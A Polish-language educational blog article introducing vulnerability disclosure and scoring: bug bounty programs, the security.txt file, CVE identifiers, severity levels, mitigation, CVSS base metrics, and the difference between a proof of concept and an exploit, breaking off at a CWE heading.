&lt;h2>Gdzie można zgłosić odkrytą podatność?&lt;span class="hx:absolute hx:-mt-20" id="gdzie-można-zgłosić-odkrytą-podatność">&lt;/span>
&lt;a href="#gdzie-mo%c5%bcna-zg%c5%82osi%c4%87-odkryt%c4%85-podatno%c5%9b%c4%87" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;h3>Bug Bounty&lt;span class="hx:absolute hx:-mt-20" id="bug-bounty">&lt;/span>
&lt;a href="#bug-bounty" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Jeśli zauważy się jakąkolwiek nieprawidłowość techniczną działania oprogramowania/systemu, która może naruszyć bezpieczeństwo, to zawsze można to zgłosić organizacji poprzez tzw. program &lt;strong>Bug Bounty&lt;/strong>.&lt;/p>
&lt;p>&lt;strong>Bug Bounty&lt;/strong> jest to akcja stworzona przez firmy, która ma na celu zachęcić do zgłaszania podatności przez osoby z zewnątrz poprzez wynagrodzenie pieniężne, znalezienie się na liście sławy, gadżety itd.
Popularnymi korporacjami, które aktywnie je prowadzą są np. Facebook, Google, Paypal, Spotify itd.
Najczęściej formę zgłaszania przez Bug Bounty wybierają obeznani w temacie tzw. bug hunter, którzy na co dzień szukają dziur w całym w oprogramowaniu.&lt;/p>
&lt;p>Całkiem sporą listę programów bug bounty można znaleźć na stronie &lt;a href="https://www.bugcrowd.com/bug-bounty-list/"target="_blank" rel="noopener">BugCrowd&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;h3>security.txt&lt;span class="hx:absolute hx:-mt-20" id="securitytxt">&lt;/span>
&lt;a href="#securitytxt" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Drugą możliwą opcją, jest sprawdzenie pliku &lt;strong>security.txt&lt;/strong> na stronie web serwisu/firmy/producenta. Ten plik walczy o prawa standardu RFC - jego celem jest ułatwienie komunikacji z analitykami bezpieczeństwa z różnych środowisk, którzy zauważyli jakąś nieprawidłowość i chcieliby ją zgłosić do osoby odpowiedzialnej za wadliwy komponent.&lt;/p>
&lt;p>Ten plik można znaleźć wpisując dane ścieżki:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>https://example.com/.well-known/security.txt&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>lub&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>https://example.com/security.txt&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Plik &lt;strong>security.txt&lt;/strong> składa się zazwyczaj z pól:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Contact&lt;/strong> - specjalna skrzynka mailowa, adres strony do zgłaszania bugów&lt;/li>
&lt;li>&lt;strong>Encryption&lt;/strong> - wskazanie klucza PGP do bezpiecznej komunikacji z działem cyberbezpieczeństwa&lt;/li>
&lt;li>&lt;strong>Acknowledgments&lt;/strong> - wskazanie na galerie sław, podziękowania dla badaczy&lt;/li>
&lt;/ul>
&lt;p>Dodatkowo można znaleźć:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Preffered-Languages&lt;/strong> - wskazanie w jakim języku najlepiej się komunikować&lt;/li>
&lt;li>&lt;strong>Canonical&lt;/strong> - wskazanie adresu URL na którym jest plik security.txt&lt;/li>
&lt;li>&lt;strong>Policy&lt;/strong> - wskazanie na ustaloną politykę zgłaszania bugów, niuansów prawnych, reguł itd.&lt;/li>
&lt;li>&lt;strong>Hiring&lt;/strong> - miejsce na podzielenie się ofertą pracy dla &amp;ldquo;bezpieczników&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;p>W sieci można znaleźć oficjalną stronę pomysłu security.txt, która udostępnia kreator umożliwiający stworzenie tego pliku wedle ustalonych reguł - &lt;a href="https://securitytxt.org"target="_blank" rel="noopener">Securitytxt.org&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>Przykładowe strony, które mają umieszczone security.txt:&lt;/p>
&lt;ul>
&lt;li>Google - &lt;code>https://google.pl/.well-known/security.txt&lt;/code>&lt;/li>
&lt;/ul>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./securitygoogle.jpg">
&lt;figcaption>Akurat z flagą CTFa google ;)&lt;/figcaption>
&lt;/figure>
&lt;ul>
&lt;li>Niebezpiecznik - &lt;code>https://niebezpiecznik.pl/security.txt&lt;/code>&lt;/li>
&lt;/ul>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./securityniebez.jpg">
&lt;figcaption>Przykład z polskiego podwórka - Niebezpiecznik.&lt;/figcaption>
&lt;/figure>
&lt;p>Trzeba pamiętać, że nie jest to przyjęty ogólnie standard, stosowanie security.txt jest dobrą manierą, więc można się napotkać na brak tego pliku w innych firmach/korporacjach. Idea jest wciąż rozwijana.&lt;/p>
&lt;h2>CVE - Common Vulnerabilities and Exposures&lt;span class="hx:absolute hx:-mt-20" id="cve---common-vulnerabilities-and-exposures">&lt;/span>
&lt;a href="#cve---common-vulnerabilities-and-exposures" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Jest to lista unikalnych podatności oraz luk, które są kategoryzowae ustalonym oraz globalnym schematem. Celem CVE jest ułatwienie dzielenia się informacjami o podatnościach dla ludzi/narzędzi/usług/repozytoriów, stosując ich unikalną numerację - tzw. &lt;strong>CVE ID&lt;/strong>.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./numercve.jpg">
&lt;figcaption>Budowa numeru CVE.&lt;/figcaption>
&lt;/figure>
&lt;p>Aby otrzymać CVE ID należy zgłosić się do CVE Numbering Authorities (CNAs) wedle instrukcji: &lt;a href="https://cve.mitre.org/cve/request_id.html"target="_blank" rel="noopener">https://cve.mitre.org/cve/request_id.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>Zazwyczaj prośby o numery CVE ID są zgłaszane przez producentów, a osoba zgłaszająca podatność jest wyręczona z tego obowiązku.&lt;/p>
&lt;p>Więcej o systemie CVE można przeczytać &lt;a href="https://cve.mitre.org/cve/identifiers/index.html"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;h2>Severity&lt;span class="hx:absolute hx:-mt-20" id="severity">&lt;/span>
&lt;a href="#severity" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Dzięki wycenie &lt;strong>severity&lt;/strong> można szybko ocenić możliwy wpływ podatności, gdyby została ona wykorzystana. Jest określane w skali:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Severity&lt;/th>
&lt;th>Points&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>None&lt;/td>
&lt;td>0.0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Low&lt;/td>
&lt;td>0.0-3.9&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Medium&lt;/td>
&lt;td>4.0-6.9&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>High&lt;/td>
&lt;td>7.0-8.9&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Criticial&lt;/td>
&lt;td>9.0-10.0&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>Im większa liczba punktów, tym podatność ma większy wpływ na bezpieczeństwo podatnego systemu/oprogramowania. Punkty są przydzielane na podstawie systemu punktowania podatności &lt;a href="#cvss---common-vulnerabilities-scoring-system">CVSS&lt;/a>.&lt;/p>
&lt;h2>Mitygacja&lt;span class="hx:absolute hx:-mt-20" id="mitygacja">&lt;/span>
&lt;a href="#mitygacja" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Odpowiednio mitygując zagrożenie, jesteśmy w stanie ograniczyć jego potencjalne skutki, gdyby atakujący wykorzystał daną podatność przeciwko nam. Takimi działaniami może być np. przeprowadzenie aktualizacji, ustawienie dodatkowej konfiguracji, detekcja ruchu w systemach bezpieczeństwa dzięki odpowiednio zbudowanej regule itd.&lt;/p>
&lt;p>&lt;strong>Workaround&lt;/strong> jest czasem wskazywany przez producenta jako możliwa mitygacja zagrożenia, poprzez np. nie korzystanie z podatnego komponentu.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>aktualizacja &amp;gt; workaround oficjalny (producenta) &amp;gt; workaround nieoficjalny (pasjonatów)&lt;/strong>&lt;/p>
&lt;/blockquote>
&lt;p>Aby mieć pewność, że podatność nie zostanie wykorzystana nawet po aktualizacji, warto zaimplementować detekcje próby wykorzystania np. specjalną sygnaturą/regułą od np. producenta w systemie IDS (Intrusion Detection System).&lt;/p>
&lt;h2>CVSS - Common Vulnerabilities Scoring System&lt;span class="hx:absolute hx:-mt-20" id="cvss---common-vulnerabilities-scoring-system">&lt;/span>
&lt;a href="#cvss---common-vulnerabilities-scoring-system" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>&lt;a href="https://www.first.org/cvss/v3-1/cvss-v31-specification_r1.pdf"target="_blank" rel="noopener">&lt;strong>CVSS&lt;/strong>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> jest systemem punktowania podatności w skali od 0-10, którą wykorzystuje &lt;strong>severity&lt;/strong> do określenia poziomów ważności wykrytych luk. Obecnym standardem jest punktowanie CVSS w wersji 3.1 - wersje te odnoszą się do poprawek oceniania i podliczania punktów przez określony algorytm.&lt;/p>
&lt;p>&lt;strong>CVSS&lt;/strong> bazuje na trzech metrykach: &lt;strong>Base, Temporal, Environmental&lt;/strong>.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./cvssmetrics.jpg">
&lt;figcaption>Metryki CVSS.&lt;/figcaption>
&lt;/figure>
&lt;p>Metryka &lt;strong>Base&lt;/strong> wskazuje na jej domyślną wycene, niezależnie od sytuacji osoby/firmy, która akurat podatność posiada. W niej wyróżnia się metryki wpływu &lt;strong>(Impact)&lt;/strong> oraz możliwości jej użycia w złych celach &lt;strong>(Exploitability)&lt;/strong>.&lt;/p>
&lt;p>Metryka &lt;strong>Temporal&lt;/strong> bierze pod uwagę pojawienie się możliwości aktualizacji podatności (powoduje to obniżenie punktacji w tej metryce), wystąpienie eksploit&amp;rsquo;a publicznie dostępnego w sieci (punktacja rośnie).&lt;/p>
&lt;p>Z kolei &lt;strong>Environmental&lt;/strong> skupia się na konkretnej sytuacji w firmie lub u użytkownika. W niej wskazuje się, czy jesteśmy w stanie załagodzić/obejść podatność czy też nic nie możemy zdziałać sami, aby się przed jej konsekwencjami obronić.&lt;/p>
&lt;p>Metryki Temporal oraz Environmental są opcjonalne przy wyliczaniu punktacji, lecz są przydatne przy głębszej analizie wpływu podatności.&lt;/p>
&lt;p>Dla każdej z tych trzech głównych metryk są określone podkategorie np. &lt;strong>Wektor ataku (Attack Vector)&lt;/strong>, dla których są ustalone parametry do wybrania. Poniżej w tabelach z opisami podkategorii w nawiasach są umieszczone skróty, które odpowiadają oznaczeniom w takiej formie zapisu CVSS, z którą najczęściej można się spotkać:&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./vectorcvss.jpg">
&lt;figcaption>Przykładowy wektor CVSS.&lt;/figcaption>
&lt;/figure>
&lt;p>Każda podkategoria w tym ciągu znaków jest rozdzielana za pomocą &lt;code>/&lt;/code>, a po &lt;code>:&lt;/code> znajduje się wybrany parametr. Powyżej podany przykład dokładnie opiszę w dalszej części, na postawie podatności CVE-2020-0796 tzw. &amp;ldquo;CoronaBlue&amp;rdquo;.&lt;/p>
&lt;p>Na potrzeby artykułu skupię się głównie na opisie podkategorii dla metryki &lt;strong>Base&lt;/strong>.&lt;/p>
&lt;h3>Opisy podkategorii dla metryki &lt;strong>Base&lt;/strong>&lt;span class="hx:absolute hx:-mt-20" id="opisy-podkategorii-dla-metryki-base">&lt;/span>
&lt;a href="#opisy-podkategorii-dla-metryki-base" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>&lt;strong>Wektor ataku (Attack Vector)&lt;/strong> - wskazuje na potencjalne źródło ataku oraz możliwość jego rozprzestrzeniania.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Attack Vector (AV)&lt;/th>
&lt;th>Opis&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Network (N)&lt;/td>
&lt;td>Podatność jest dostępna z zewnątrz w sieci dla atakującego oraz można ją rozpropagować po Internecie - jest możliwa do eksploitacji zdalnie (przykładem ataki DDoS).&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Adjacent (A)&lt;/td>
&lt;td>Podatność jest dostępna z sieci, lecz atakujący musi być w tej samej sieci fizycznej (np. w sieci lokalnej LAN, połączeniu Bluetooth) oraz dystrybucja ataku jest ograniczona do sąsiadującej topologii.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Local (L)&lt;/td>
&lt;td>Podatny komponent nie jest dostępny z poziomu sieci, lecz np. po SSH, linii komend lub wymaga fizycznego dostępu do klawiatury i myszki. W ten parametr wlicza sie dodatkowo socjotechnikę, gdy atakujący liczy na otworzenie złośliwego załącznika przez użytkownika.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Phisical (P)&lt;/td>
&lt;td>Atakujący osobiście, mając fizyczny kontakt ze sprzętem, manipuluje wrażliwym komponentem by wykorzystać podatność np. (&lt;a href="https://www.youtube.com/watch?v=0uRxRIJc8zU"target="_blank" rel="noopener">Evil Maid Attack&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>).&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>&lt;strong>Trudność ataku (Attack Complexity)&lt;/strong> - wskazuje na poziom trudności wykonania poszczególnych czynności, które zostaną podjęte w celu wykorzystania podatności.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Attack Complexity (AC)&lt;/th>
&lt;th>Opis&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Low (L)&lt;/td>
&lt;td>Wykorzystanie podatności przez atakującego nie wymaga zaawansowanej wiedzy oraz zdolności.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>High (H)&lt;/td>
&lt;td>Atakujący, aby wykorzystać podatność, musi podjąć wiele dodatkowych kroków, które mogą zwiększać ryzyko niepowodzenia/wykrycia jego działań - czyli np. wzbogacić wiedzę o infrastrukturze, konfiguracji podatnego systemu, podjąć się dodatkowych działań, mających na celu rekonesans.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>&lt;strong>Wymagane uprawnienia (Privileges Required)&lt;/strong> - wskazuje jakie uprawnienia musi posiadać atakujący przed wykorzystaniem podatności, aby wykonać atak.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Privileges Required (PR)&lt;/th>
&lt;th>Opis&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>None (N)&lt;/td>
&lt;td>Atakujący nie potrzebuje żadnych uprawnień, aby wykorzystać podatność.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Low (L)&lt;/td>
&lt;td>Atakujący nie potrzebuje wysokich uprawnień, wystarczy mu dostęp do poświadczeń użytkownika.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>High (H)&lt;/td>
&lt;td>Atakujący potrzebuje uprawnień na prawach administratora/root&amp;rsquo;a aby wykorzystać podatność.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>&lt;strong>Interakcja użytkownika (User Interaction)&lt;/strong> - wskazuje na potrzebę działań użytkownika (otwarcie złośliwego pliku, linku, strony etc.) lub jej brak, aby wykorzystać podatność.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>User Interaction (UI)&lt;/th>
&lt;th>Opis&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>None (N)&lt;/td>
&lt;td>Atakujący może działać bez potrzeby interakcji z użytkownikiem.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Required (R)&lt;/td>
&lt;td>Atakujący musi nakłonić socjotechniką użytkownika do podjęcia nieprzemyślanych działań. W tym parametrze uwzględnia się też instalowanie/uruchamianie oprogramowania na prawach administratora przez użytkowników.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>&lt;strong>Zasięg (Scope)&lt;/strong> - wskazuje na możliwe pole rażenia, jeśli atakujący wykorzysta podatność - czy może wpłynąć na inne komponenty/zasoby, które są poza normalnymi możliwościami zaatakowanego komponentu.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Scope (S)&lt;/th>
&lt;th>Opis&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Changed (C)&lt;/td>
&lt;td>Wykorzystanie podatności dotyka inne komponenty poza tym zaatakowanym.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Unchanged (U)&lt;/td>
&lt;td>Wykorzystanie podatności wpływa tylko na podatny komponent.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>&lt;strong>Poufność (Confidentially)&lt;/strong> - wykazuje, czy atakujący ma dostęp do danych wrażliwych (np. numery PESEL) po wykonaniu ataku.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Confidentially (C)&lt;/th>
&lt;th>Opis&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>High (H)&lt;/td>
&lt;td>Atakujący może uzyskać dostęp do danych wrażliwych/poufnych/tajnych, haseł, kluczy szyfrujących.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Low (L)&lt;/td>
&lt;td>Atakujący ma dostęp do nieokreślonych danych, lecz nie są one krytyczne w działaniu systemu/usługi - mogą skutkować obniżoną reputacją, w razie wycieku tych danych.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>None (N)&lt;/td>
&lt;td>Atakujący nie otrzyma dostępu do danych.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>&lt;strong>Integralność (Integrity)&lt;/strong> - wykazuje, czy atakujący byłby w stanie modyfikować/usuwać/nadpisywać/tworzyć pliki/konfiguracje/dane po wykorzystaniu podatności.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Integrity (I)&lt;/th>
&lt;th>Opis&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>High (H)&lt;/td>
&lt;td>Atakujący może wpływać na integralność danych wszystkich plików lub tych kluczowych do działania podatnego komponentu.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Low (L)&lt;/td>
&lt;td>Atakujący może wpływać na ograniczoną liczbę plików, albo ma ograniczoną liczbę możliwości modyfikacji.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>None (N)&lt;/td>
&lt;td>Atakujący nie otrzyma możliwości wpływania na integralność danych.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>&lt;strong>Dostępność (Availability)&lt;/strong> - wpływa na dostępność podatnego komponentu po wykorzystaniu podatności przez atakującego.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Availability (A)&lt;/th>
&lt;th>Opis&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>High (H)&lt;/td>
&lt;td>Atakujący może swobodnie wpływać na dostępność działania komponentu - może spowodować np. DDOS, lub wyłączyć dostępność usługi dla wszystkich użytkowników.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Low (L)&lt;/td>
&lt;td>Atakujący może wpływać na dostępność działania komponentu, lecz nie jest w stanie tego w pełni kontrolować - np. może uniemożliwić dostęp do usługi tylko wybranym użytkownikom.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>None (N)&lt;/td>
&lt;td>Atakujący nie otrzyma możliwości wpływania na dostępność komponentu.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3>Przeliczanie metryk&lt;span class="hx:absolute hx:-mt-20" id="przeliczanie-metryk">&lt;/span>
&lt;a href="#przeliczanie-metryk" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Po uzupełnieniu powyższych pól, specjalnie opracowany algorytm przelicza uzyskane punkty i określa je w skali od 0-10.&lt;/p>
&lt;p>Istnieją specjalnie przygotowane kalkulatory CVSS, które po wybraniu odpowiednich parametrów wyliczają wynik CVSS oraz generują wektor CVSS, o którym wspomniałam wcześniej.&lt;/p>
&lt;p>Kalkulator CVSS - &lt;a href="https://www.first.org/cvss/calculator/3.1"target="_blank" rel="noopener">https://www.first.org/cvss/calculator/3.1&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>Więcej szczegółów o przeliczaniu konkretnych parametrów i zastosowanym algorytmie znajdziesz &lt;a href="https://www.first.org/cvss/specification-document"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;h2>Czym jest Proof of Concept i Exploit?&lt;span class="hx:absolute hx:-mt-20" id="czym-jest-proof-of-concept-i-exploit">&lt;/span>
&lt;a href="#czym-jest-proof-of-concept-i-exploit" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>&lt;strong>Proof of Concept&lt;/strong> (PoC) jest zazwyczaj obszernym artykułem, pracą, przykładowym kodem, dowodem technicznym na możliwość skompromitowania celu, aby udowodnić powagę podatności. Często jest on publikowany dopiero po wyjściu aktualizacji, która łata podatność. Często nie oznacza zawsze ;)&lt;/p>
&lt;p>Przykładowy PoC - &lt;a href="https://github.com/eerykitty/CVE-2020-0796-PoC?files=1"target="_blank" rel="noopener">https://github.com/eerykitty/CVE-2020-0796-PoC?files=1&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>&lt;strong>Exploit&lt;/strong> jest to już przygotowane narzędzie/skrypt/program do przeprowadzenia ataku przez cyberprzestępców, bądź pentesterów. Do wykorzystania eksploit&amp;rsquo;u nie potrzeba obszernej analizy jak on działa. Bardzo często gotowymi rozwiązaniami cyberprzestępcy dzielą się w darkweb&amp;rsquo;ie, a dopiero potem są one dostępne publicznie (np. Github/Metasploit).&lt;/p>
&lt;blockquote>
&lt;p>PoC może być również od razu exploitem!&lt;/p>
&lt;/blockquote>
&lt;p>Obszerną bazą exploit&amp;rsquo;ów jest strona &lt;a href="https://www.exploit-db.com"target="_blank" rel="noopener">https://www.exploit-db.com&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>Aktywne działania cyberprzestępców, mające na celu stworzenie własnego exploit&amp;rsquo;u, określa się często jako &amp;ldquo;zbrojenie się&amp;rdquo; (&lt;strong>Weaponization&lt;/strong>).&lt;/p>
&lt;p>Security Researcher, który monitoruje rozwój zainteresowania podatnością, jest w stanie zwiększyć scoring CVSS (metryka Temporal), ze względu na istnienie PoC&amp;rsquo;a, exploit&amp;rsquo;a, bądź zauważą &amp;ldquo;zbrojenie się&amp;rdquo; cyberprzestępców. W procesie Threat Management&amp;rsquo;u priorytet działań mitygujących/naprawiających zwiększa się, a czas wdrożenia poprawek skraca się do trybu przyśpieszonego, w zależności od aktywności w temacie PoC&amp;rsquo;ów, exploit&amp;rsquo;ów dla podatności.&lt;/p>
&lt;p>Rzadko kiedy producenci/właściciele wadliwego komponentu dzielą się takimi informacjami, częściej można znaleźć przypuszczenia, czy dana podatność jest łatwa do eksploatacji.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./microsoftexploit.jpg">&lt;img loading="lazy" src="./microsoftexploit.jpg">&lt;/a>
&lt;figcaption>Przykład - Microsoft.&lt;/figcaption>
&lt;/figure>
&lt;p>Microsoft nie chwali się, że exploit&amp;rsquo;y już są, tylko czy jest takie prawdopodobieństwo.&lt;/p>
&lt;h2>CWE - Common Weakness Enumeration&lt;span class="hx:absolute hx:-mt-20" id="cwe---common-weakness-enumeration">&lt;/span>
